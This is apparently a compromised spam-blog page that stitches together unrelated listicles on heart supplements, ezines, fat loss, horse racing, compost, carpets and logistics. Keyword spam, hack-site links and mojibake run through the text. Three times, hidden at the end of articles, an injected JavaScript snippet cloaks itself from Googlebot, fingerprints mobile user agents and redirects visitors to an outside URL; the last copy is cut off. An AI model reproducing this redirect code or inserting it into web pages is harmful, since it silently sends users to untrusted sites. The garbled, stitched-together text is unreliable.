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Top 10 Natural Supplements For Heart Health

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Top 10 natural supplements for heart visit more information health

Give your heart health some attention! The heart is like your engine room, pumping nutrient-and-oxygen-rich blood throughout the body and beating 100,000 times a day. That’s almost 40 million times a year. So if you don’t treat your heart right, with daily activity, good food and exercise – and natural heart health supplements – you could be setting yourself up for trouble.
When it comes to your health, heart more information disease is like public enemy No. 1. read here It’s the top killer of men and women worldwide. And I’m sure our sedentary fast-food culture share here in America isn’t doing us any favors.
There are routine prescription medications to reduce the risk factors and control blood pressure, but they can be expensive and come with serious side effects. People are always asking me what natural heart health supplements they should be taking on a regular basis. There are a number of natural remedies for heart to be on the lookout for, and I’ve rounded up the top 10 to get you started.
1. Omega-3 fatty acids
Fat is not the dietary villain it used to be cast as. While you don’t want too much of the saturated kind found in butter, cheese and red meat, you do want to consume omega-3 fatty acids that are essential nutrients for health – for things like blood clotting and building cell membranes in the brain. Two crucial ones, EPA and DHA, are found primarily in certain fish, especially oily fish like salmon, tuna, mackerel and lake trout.
Read More:if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Top 10 Reasons To Have An Ezine

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Top 10 Reasons to Have an Ezine

There is 10 strong reasons why you should start your e-zine right away!

1. Establish yourself as a trusted expert. People search online for information and will look to you, as a subject matter expert, to provide it to them. Every week (or whatever schedule works) provides an opportunity to build on this, while reinforcing your brand.

2. Build a relationship with the people on your list. It’s common knowledge that people like to buy from people they like. By using ezines to connect with readers in their homes, you can develop a relationship of familiarity and trust. Be sure to share a little about yourself or your company in every issue, whether it is an anecdote, event, or employee spotlight.

3. Keep in touch with prospects and clients. Consideration should be given to eventually developing two ezines: one for prospects and one for clients, as each require different information. This is a great way to notify your readers of weekly specials or upcoming visit more information product launches, offer new articles or customer stories, and provide links (or urls) to updated FAQs, blogs and splash pages.

4. Drive traffic to your website or blog. As noted in #3, remember to call attention to new blog posts or other changes to your website with links directly to those pages. Remind readers of your online newsletter archives. Promote special sales (maybe with discount coupon codes only for subscribers) with a link to the sales page. Use links to turn your ezines and newsletters into ‘silent salespersons’- driving traffic to your website and building your lists around the clock.

5. Build content on your website. Make a habit to adding your ezines and newsletters to your website in an archive area. This serves a several important purposes: Visitors can read an issue or two to determine if your ezine will be of interest to them, which could help to increase sign-ups and potential sales. If you optimize your article placements, you will not only make your website ‘meatier’, but you’ll also bring new traffic from the search engines.

6. Get feedback from your readers. Make it easy for you to stay in touch with prospects and customers and vice versa. Ask them to take action and comment on your articles and offers. Conduct polls and surveys. Start a ‘Letters to the Editor’ column in your ezine. Feedback allows you to fine tune your messages, target your marketing, and expand your product line. It’s also great for relationship building!

7. Develop an information product. If you deliver your newsletter once a week and include two articles, at the end of a year you’ll have 104 well-researched articles in your tankionlinehackcrystalz.com/ portfolio! Pick the best-of-the-best and turn them into a bonus ebook more details for opting-in to your list, submit to download sites to build your list, or sell in PDF-format!

8. Grow your mailing list. Let your ezine subscribers work for you. Be sure to remind your readers that it’s okay to forward your newsletter to anyone they’d like. In addition, it’s important to include sign-up instructions for those who received your ezine from viral marketing methods. A simple line titled, ‘Get Your Own Copy of XXXXXX’, with a link to your squeeze or opt-in page is all it takes!

9. Gather demographic data. By offering surveys, feedback forms, and niche reports, you’ll be able to get valuable information about your prospects and customers. Learn what makes your readers tick, how to better serve check more them, and how to give them what they want. Make sure they become repeat customers!

10. Save money! All of the above benefits of publishing an ezine are free or almost free. The small cost of a top-rated ezine publishing system is nothing compared to the cost of brochures, business cards, advertising, direct mail, pay-per-click or other means of promotion. Not only that, but someone has to manage that production! Because your newsletter is delivered online, you can grow your list to be as large as you want without worrying about the expense. Bottom line − it’s proven that email marketing is the most cost-effective marketing solution for companies just like yours!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Top 6 Secrets To Fat Loss The Truth About Fat Loss And Why People Struggle

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Top 6 Secrets To Fat Loss ?The Truth About Fat Loss And Why People Struggle

Top 6 Secrets To Fat visit more information Loss ?The Truth About Fat Loss And Why People Struggle

Everyday, people in society today are trying to lose weight, to get rid of some belly fat, and just to look better in general. A very large amount of people want to achieve this result and be healthier in their lives ?but the truth is that a huge number of them fail. Why? Here are the top 6 secrets to Fat Loss.

Water

Drinking a lot of water seems obvious ?but to some it might not be. We&25262;e all human; we&25262;e made mostly up of water, and as a result it can make a huge difference if you keep your system fresh and drink a lot. You&25251;l have to use the bathroom a lot more if you&25262;e drinking water all the time, but for the majority of people it&25263; one of the most important things they can do.

Fruits and Vegetables

A few studies have shown that it&25263; actually healthier to eat several snacks throughout the day rather than to eat a lot at three separate meals. Now that we know snacking is Check our website a good thing, what do we snack on? If you&25262;e a person that regularly munches on junk food, making the transition to have an apple, a banana, some celery, etc can be very difficult. Truth be told, people who eat a lot of junk food have a tendency to actually dislike the taste more information of healthy fruits and vegetables. Not because they taste worse, but just because their body has adapted to a different intake of food. If you&25262;e persistent in making this change, I promise you can start to enjoy eating fruits and vegetables on a regular basis.

Getting The Right Foods At The Store

Eating healthy starts with buying the right foods. If you can manage to only buy good foods at the store ?you&25267;e already won half the battle. At home, you won&25264; have any choice but to eat right later. However, supermarkets and other places where you buy food have been designed to get us to buy the things that aren&25264; good for us, and designed to get us to spend as much as possible. Fight back against the immediate desire in the moment, and you&25251;l be massively rewarded in the long run.

Exercise

This is the one thing a lot of people dread. It IS possible share here to lose a lot of weight, even if you don&25264; exercise ?but it can be harder. Fortunately, you DON&25205; have to do a lot of exercising in order to lose weight. In fact, if weight loss is your main goal, exercising hard can actually cause you to gain weight. Light exercise, however, can be a tremendous help. Going for a jog in the morning, or even just for a walk, and doing some basic exercises can make all the difference in your ability to create the discipline to eat better, be happier, and healthier throughout each day. People often forget how powerful a little fresh air is. If you run in the morning, it opens your lungs for the rest of the day and also gives you a convenient opportunity to think about whatever you&25230; like to think about in your life.

Having a Plan

Folks, change does not happen magically! If you want change to happen for you, I&25254; sorry to tell you, but you must change. If you have a plan ?you know exactly what you want and how long it will take to get there ?you are already way ahead of 90% of others who have the same goal that you do. Most people don&25264; even do this ?they just try to take spontaneous action, and merely hope that it will produce results. Having a plan is crucial.

Consistency

The last step after having a plan is following through with it. Now, this doesn&25264; mean to be super hard on yourself ?by all means, if you feel sick, don&25264; go for a run. Let your body heal. Life comes in summers and winters; in the summers you go out and run after your goal, and grow as a person; in the winters, you are resting, and reaping the crop you have sown over the summer. Don&25264; feel pressured to follow through, but encourage yourself to do so. Try to develop the habit. If you feel resistance, try to ask yourself why. Is this something you really want, or are you only trying to do it because you feel you have to? If its something you know you want, and you&25262;e determined to get it ?it is already yours. You need not worry about the barriers that will get in your way ?I&25254; confident that you can and will reach whatever it is you&25262;e aiming at. Good luck.

Top Horse Races Graded Stakes Put The Sport’s Top Thoroughbreds On Display

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Top Horse Races – Graded Stakes Put the Sport’s Top Thoroughbreds on Display

In 1973, horse racing in North America entered a new era when the concept of “graded stakes” races became a reality. The idea of assigning grades to various stakes races, which is administered by the Thoroughbred Owners and Breeders Association, was designed to provide breeders with an easy reference to compare the relative class and ability of a racehorse.
“Why bother? Why try to remember which race is better than, or inferior to, another?” Kent Hollingsworth, the longtime editor-in-chief of the influential trade publication Blood-Horse Magazine, wrote in 1973.
“Because, to improve the breed, to upgrade a Check our website broodmare band, to select a stallion, to understand a catalogue page, to evaluate a family—one must be able to recognize racing class.”
Stakes races can be assigned one of three grades—Grade 1, Grade 2, and Grade 3. Grade 1s, which include races such as the Kentucky Derby and Breeders’ Cup Classic, are considered the most prestigious of all North American Stakes races and carry the biggest purses. To be eligible for Grade 1 status, a race must have a minimum purse of $250,000.
Grade 1 races are expected to attract the best racehorses in training and potential champions.
A Grade 2 race, which is one step down from a Grade 1, must have a minimum purse of $150,000. Often, a Grade 2 race will precede a Grade 1 race on the racing schedule. For example, the Grade 2 San Antonio Stakes at Santa Anita is followed a month later by the Grade 1 Santa Anita Handicap.
A Grade 3 race, the lowest level of graded stakes races, must have a minimum purse of $100,000. A Grade 3 race will often feature horses on the rise with Grade 1 aspirations, or horses that have already proven in their careers that they more details are a cut or two below the very best.
In order for a stakes race to be graded, it must be run under the same conditions for a minimum of two years. That’s why many of the check here new races in the Breeders’ Cup over the last few years were not initially graded.
Grades are determined and assigned by TOBA’s American Graded Stakes Committee, which consists of six members of TOBA and five racing officials. The process of assigning grades is somewhat convoluted, but in essence what the committee does is look at the relative strength of a race over a five-year period. The better the horses that compete, the higher the grade.
In order for a race to be upgraded, it must be approved by at least eight members of the committee. A minimum of six committee members would have to be on board in order for a race to be downgraded.
For 2012, the American Graded Stakes Committee reviewed 659 unrestricted U.S. Stakes races with a click this site purse of at least $75,000. The committee assigned Grade 1 status to 112 races, (24.1 percent), Grade 2 status to 151 races (32.5 percent) and Grade 3 status to 202 races (43.4 percent).

Top 10 Benefits Of Lifelong Learning

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Top 10 Benefits Of Lifelong Learning

Scientific research from the 1990s now reveals that more than ever before, a challenged, stimulated brain may well be the key to a vibrant later life. As 78 million Baby Boomers prepare to redefine their own retirement, news that staying active and keeping their brains constantly engaged may help stave off mental and physical ailments and diseases has many asking how best to do so. The answer is simple: lifelong or later-life learning.
Lifelong learning is the continued educational experience that utilizes non-credit academic courses, educational travel, and community service and volunteerism to fully engage the brain, heighten physical activity, and maintain healthy social relationships.
Lifelong learning guru Nancy Merz Nordstrom advocates this three-pronged approach as a vital ingredient for the Baby Boomer lifestyle or anyone in their “after-50” years. “When you look at the benefits gained from keeping your mind sharp, it’s incredible. Lifelong learning is like a health club for your brain. And an active mind can stimulate physical activity and keep your spirits high. It’s an all-around fantastic tool for better health.” Scientific experts agree. According to Paul Nussbaum, Ph.D., Clinical Neuropsychologist & International Consultant on Aging and Health Promotion, “In Learning Later, Living Greater: The Secret for Making the Most of Your After-50 Years,” Nancy Merz Nordstrom has correctly championed lifelong learning as a proactive lifestyle for overall personal development and a primary factor for read here brain health!”
Courtesy of her groundbreaking book, “Learning Later, Living Greater: The Secret for Making the Most of Your After-50 Years” published by Sentient Publications (ISBN: 1-59181-047-7) Nordstrom offers the Top Ten Benefits of Lifelong Learning.
10. Lifelong learning helps fully develop natural abilities.
“We all have innate natural abilities,” says Nordstrom. “Some of which might not be readily apparent. Once we’re no longer working full time, we have the opportunity to fully explore and develop these abilities.”
9. Lifelong learning opens the mind.
An integral part of lifelong learning is the free exchange of ideas and viewpoints among older learners. Says Nordstrom, “There’s nothing like listening to or taking part in stimulating discussions to help us see the other side of an issue. That give-and-take opens our minds and brings us to a whole new level of enlightenment.”
8. Lifelong learning creates a curious, hungry mind.
The more older learners discover about history, current events, politics, or the culture of other countries, the more they want to learn. According to Nordstrom, “There’s a big world out there just waiting for our exploration. Our drive and desire to learn fuels itself and we keep going, constantly looking for more to feed our hungry minds.”
7. Lifelong learning increases our wisdom.
“Lifelong learning enables us to put our lives in perspective,” says Nordstrom. “It increases our understanding of the whys and the whats of previous successes and failures, and it helps us understand ourselves better. We more fully develop the wisdom that can come with later life.”
6. Lifelong learning makes the world a better place.
Through the community service aspect of lifelong learning, older learners can give back to their communities and to the world. “We’ve spent 30, 40 or more years interacting with the world,” says Nordstrom. “What we’ve learned during that time can be translated into real value for the betterment of society. Our wisdom, insight – it’s all of tangible benefit to the world around us.”
5. Lifelong learning helps us adapt to change.
Society is in a state of constant flux. Often as we age we might feel like the proverbial “old dog that can’t learn new tricks.” “Not true at all,” says Nordstrom. “Lifelong learning enables us to keep up with society’s changes – especially the technological ones. A learning environment with our peers not only makes it possible to stay abreast of change, it also makes it fun.”
4. Lifelong learning helps us find meaning in our lives.
“Sometimes it’s difficult looking back on our lives,” says Nordstrom. “But lifelong learning gives us the benefit of real perspective and enables us to find true meaning in the hills and valleys of our past.”
3. Lifelong learning keeps us involved as active contributors to society.
No longer content to sit in a rocker on the porch wiling away the hours, today’s retirees and Baby Boomers about to retire want and demand more from their later years. “We’re out and about,” says Nordstrom. “We’re taking part check here in educational programs, traveling all over the world, and offering our expertise to society through meaningful community involvement. We’re not a strain on society; we’re an incredible asset.”
2. Lifelong learning helps us make new friends and establish valuable relationships.
No one enjoys loneliness. And through lifelong learning, older adults are meeting new people, forging friendships and relationships with others, and enjoying an active social life. “Lifelong learning is a brilliant way to keep in touch with people, meet new friends, and enjoy life surrounded by the company of folks who are truly embracing the excitement of our later years.”
1. Lifelong learning leads click more details to an enriching life of self-fulfillment.
According to one lifelong learner from New York, “We base everything on the belief that our capacity to learn and grow does not decrease as our years increase.” Concludes Nordstrom, “Through academic learning, educational click this site adventure travel and our renewed sense of volunteerism, we expand our awareness, embrace self-fulfillment, and truly create an exciting multi-dimensional life. It doesn’t get any better than that!”
For more information on lifelong learning for older adults please visit
“Learning Later, Living Greater: The Secret for Making the Most of Your After-50 Years,” can be purchased at

Top Tips For Making Quality Compost

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Top Tips for Making Quality Compost

Compost is a rich healthy humus type fertiliser and soil visit more information conditioner that results from the decay of organic waste. Organic waste is used to describe a waste that was once a living matter such as grass, leaves, vegetable peelings, old flowers and spent bedding plants. Composting is simply a means of creating the right conditions to speed up this decay of waste.

What actually breaks down the waste?
Microorganisms and invertebrates! Microorganisms (naturally occurring bacteria and fungi) are the hard workers of the compost pile. They feed off organic waste and rapidly reproduce to huge populations share here that excrete carbon dioxide, water, heat and humus. Invertebrates such as worms, beetles, ants and centipedes act like shredders and removal men. They cut and breakdown the organic material into smaller pieces which the bacteria can then digest more easily and also act as transporters of bacteria throughout the compost pile.

There are three phases of composting, they are:

The initial decomposition phase which is carried out by mesophilic microorganisms. They thrive in temperatures between 15-39 degrees centigrade and readily break down soluble and soft compounds.
As they generate heat they die out and the next phase is dominated by thermophilic microorganisms which thrive at temperatures between 40-65 degree centigrade. This phase is very important as not only does it rapidly degrade tough waste such as proteins, fats and carbohydrates, once the temperature reaches 55 degrees centigrade most human and plant pathogens are killed off.

Once the supply of thermophilic microorganisms read here is exhausted the compost pile cools down and mesophilic microbes take over again as the compost goes through its curing phase.

What can I compost?

You can compost almost anything that is organic and will biodegrade. That would seem to imply that materials that biodegrade quickly will decompose quickly. This is true, but does not lead to the best compost. The best compost is made up by a mix of carbon and nitrogen based materials in the ratio of 30 parts carbon to 1 part nitrogen. Mixing parts by volume will suffice for garden composting.

Carbon based materials:

Often referred to as &24948;rowns? this can include dry leaves, sawdust, straw and corn, newspaper, cardboard, old bedding plants, egg boxes and wood shavings.

Nitrogen based materials:

Often referred to as &24955;reens? this includes grass clippings and weeds, manure from chickens, cows, goats, vegetable peelings, fruits, tea and coffee grounds.
As a general rule you should cut up large ingredients like newspapers, cardboard boxes and vegetable peelings in order to increase the surface area and get a good mix between carbon and nitrogen ingredients. Crush up egg shells and include these as they add calcium to the compost.

Do not compost:

Meat bones or any meat or dairy waste, animal litter, (apart from certain types of organic cat litter), coal and ash, plastics and any inorganic materials such as metals.

The main conditions that are required are:

Oxygen:

There are two types of bacteria; aerobic that needs oxygen to survive and anaerobic that survive without the presence of oxygen. Aerobic bacteria are the hardest workers and are preferred for fast home composting. In order to oxygenate the compost heap, turn it over every couple of weeks. This is preferable as if the conditions favour anaerobic bacteria there is a likelihood of unpleasant odours occurring.

Moisture:

Compost heaps should be moist to enable the decaying process to proceed but not wet as this will wash out the nutrients and restrict click more details invertebrates such as beetles. Protect your compost heap from rain.

If you can place your compost heap or bin in a warm or only partially sheltered area the composting process will speed up.

You&25251;l know when your compost is ready as it will have turned a rich brown and should be crumbly. Don&25264; worry if there are some bits of twig or eggshells; if they are large just put them back into the compost heap. Use your compost all around your garden, to enrich the soil in borders, patio pots, as a mulch and even as a lawn dressing.

Top Five Most Common Diy Carpet Installation Mistakes

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Top Five Most Common DIY Carpet Installation Mistakes

Have you ever watched a television show on the Food Network and thought “Hey, I can do that,” only to find two hours later that your kitchen is a mess and you’re calling the nearest take-out service? We all have those moments of wanting to “do-it-yourself” as a way to feel self-sufficient and save a little extra cash, but more often than not, these do-it-yourself projects tend to turn into bigger disasters than we anticipated. In terms of the carpet Alexandria, VA has available, many residents have made the same share here mistakes and often find themselves paying more for the damage later than they ever would have with a professional installation. Although you are always safe hiring a professional, when conducting a do-it-yourself carpet installation project, you’ll want visit more information to keep the following top five common mistakes in mind.
1. Treating Patterned Carpet the Same as Solid Carpet
If you haven’t been properly trained in carpet installation, you probably don’t think there should be a different installation technique for solid carpet and the patterned carpet Northern Virginia offers. However, the patterned carpet flooring Alexandria, VA has available always requires much more material than regular solid patterns. This is because each part of the pattern must be matched up when laying the carpet down. This calls for an increase in finances as well as an increase in labor. Many DIY installers don’t realize that much more time is required to installed the patterned carpet Alexandria, VA offers.
2. Not Having the Proper Tools and Equipment
The irony of attempting to save money by DIY carpet installation is that the tools required to do the job properly cost a lot more than most home owners anticipate. Even if you do acquire carpet installation tools, they may not be the exact ones needed for the job. For example, using the wrong size trowel to spread the carpet adhesive can make your installation job even more difficult, especially for the patterned carpet Northern Virginia residents enjoy.
3. Dismissing Floor Layout When Cutting Carpet
Many non-professional flooring installers may not realize that the floor layout has a big impact on how the carpet should be cut. All floors have different shapes and sizes, and usually don’t have perfect, tankionlinehackcrystalz.com/ clean squares and rectangles. Disregarding this important fact can lead to lumps and mismatched look to the carpet flooring Alexandria, VA has available. In this case, the problem is even bigger with solid carpets, since not all dyed carpets turn out the same color. Therefore, there is no guarantee the carpet will match.
4. Acting Too Hastily on Laying Down the Glue
If you’re trying check here to get through the process as quickly as possible, you may apply the glue too early without properly assessing the situation. Professional carpet installers always make sure the carpet Alexandria, VA offers fits properly on the dry surface before applying the glue. Once you find the problem after the glue has been laid, it is already too late. Even just a few centimeters off can result in exposed flooring, lumps, and unsightly seams.
5. Choosing the Wrong Type of carpet Northern Virginia Offers
Flooring is not as versatile as many non-professionals may think. The right type of carpet depends heavily on the purpose of the room. Although it may seem appealing to apply and exquisite and soft type of carpet flooring Alexandria, VA offers in every room in your home, this usually isn’t the best suited for most rooms. In general, soft carpeting should be used for quieter areas of the house with limited traffic, such as the bedroom. It will last longer in this room and provides comfort where it is most reasonable.

Top Tech Trends Impacting Logistics And Transportation

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Top Tech Trends Impacting Logistics and Transportation

Emerging technological trends have impacted varied industry verticals and logistics is no different. After bearing the brunt of economic recession over the past few years, companies have slowly geared momentum. Beating the stress of nearly 24 months of depressed freight rates and excessive load, businesses have shifted focus on investing in tech solutions that reduce operational costs and improves productivity. The emerging adaption of logistics IT solutions is a testimony to this.
Other than logistics software solutions, various other tech trends have also been instrumental in changing the face of logistics and transportation industry. This article gives an overview of 4 such trends.
1. Increased Focus on Optimization Tools: The logistic network is driven by short-term forecasting and faces constraints such as capacity issues and network reliability. In this scenario, the need of predictability is exceeding. Some key trends that are witnessed in this field include- Network Simulation and Optimization, Predictive Analytics derived from booking velocity or booking demand data, empty asset simulation and optimization and mobile asset management.
2. Business Transformation Initiatives: The time of ‘one-size fits all’ has long gone. The fitting issues with end-to-end TMS packages have prompted industry leaders to work on bespoke workflow models that can encompass various operations such as routing, pricing, tactical planning and asset operations into its core. The foundation of this model is supported by top-class products of the Business Rules Management and Planning and Optimization engines that are driven by industry-specific constraints and rules. For the challenges faced by Finance and Procurement and HR arm of the logistics firms, preference is given to basic off-shelf packages. The makeover of these arms however lies towards the end of the modernization roadmap.
3. Collaborative Business Management Powered by Workflow: A shipment firm is under the ownership of various stakeholders- carriers, shippers, consignees, custom agents, warehouse agents, customs and regulatory, railroads and truckers. The need of the hour is http://www.moviestarplanethackcheatz.com/ to manage shipment and its visibility utilizing Performance/SLA based measures dedicated to each stakeholder and each node. The need to have a single BPM platform is pinning to ensure that various stakeholders collaborate seamlessly www.moviestarplanethackcheatz.com/moviestarplanethack/ and processes are integrated effectively across the value chain. Such a platform tankionlinehackcrystalz.com/ will also mark an increase in process off-shoring by Freight and 3PL firms.
The key components of this solution include- Business Activity Monitoring Tools, SCM Visibility/Tracking, BPM Engine driven by SOA, Portals to collaborate, Business Intelligence and Performance Dashboards and CRM.
The future is governed by a key trend of building a partner network that will be driven by SLAs and business process rules and renders collaboration.
4. Inception of Cloud Computing: Cloud computing is the current buzz and huge hype in the present web scenario. Logistics industry has also begun evaluating the potential of this technology and harnesses its benefits. To comprehend the need of cloud computing, industry leaders need to keep a track of the changing market scenarios that are influenced by regulatory compliance, capacity constraints, trade imbalances, emerging marketplaces and growing integrators. Keeping in view the apprehensions of the logistic firms towards incorporating core processes in their business models, initially logistic IT solutions will be targeted hugely on horizontals. The major target areas would include:
HR and Payroll
Scheduling
Campaigns and Promotions
CRM
Capacity Procurement
Carrier Bookings and Rate Enquiry
Inventory Pool Management
The logistics industry is evolving rapidly and click this site the evolution is hastened by the technological advancements. The aforementioned software logistic solutions showcase the future of the logistics and transportation industry in a new light, empowering firms to control expenditures and enhance productivity.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 